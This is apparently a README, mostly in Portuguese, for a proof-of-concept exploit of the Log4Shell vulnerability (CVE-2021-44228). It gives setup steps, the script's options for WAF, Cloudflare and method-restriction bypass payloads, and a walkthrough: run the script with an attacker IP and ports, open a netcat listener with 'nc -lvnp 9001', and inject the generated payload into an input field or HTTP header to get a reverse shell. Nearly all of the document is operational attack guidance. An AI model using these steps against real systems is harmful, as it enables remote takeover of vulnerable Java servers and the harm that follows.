Exploit Simples para Log4j

Um Exploit de Prova de Conceito para a vulnerabilidade CVE-2021-44228.

O Log4j, usado para registrar informações de segurança e desempenho, impacta mais de 3 bilhões de dispositivos que usam Java em uma variedade de serviços de consumo e empresariais, sites e aplicativos, bem como dispositivos médicos e sistemas de suporte.
Nota: Este não é um exploit "aponte e clique". O payload de gatilho inicial será gerado, mas injetá-lo no lugar apropriado (ou seja, cabeçalho HTTP/chat/etc.) caberá ao usuário.

Pré-requisitos

• python3
• pip install -r requirements.txt
• Instale o jdk1.8.0_20 e adicione a pasta bin à variável de ambiente

usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass

Exemplo:

1. Execute o script para Linux OS com payload de bypass de método

python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) execute o netcat na porta 9001 em sua máquina local

nc -lvnp 9001

3. Copie o payload 'Try me' para contornar a restrição de métodos e use-o como variável de entrada para obter shell no netcat
   Nota: Se nenhum bypass for escolhido, use o payload 'Send me'

Referência

• https://akashpatil.me/log4j-guide-book.html
• https://github.com/kozmer/log4j-shell-poc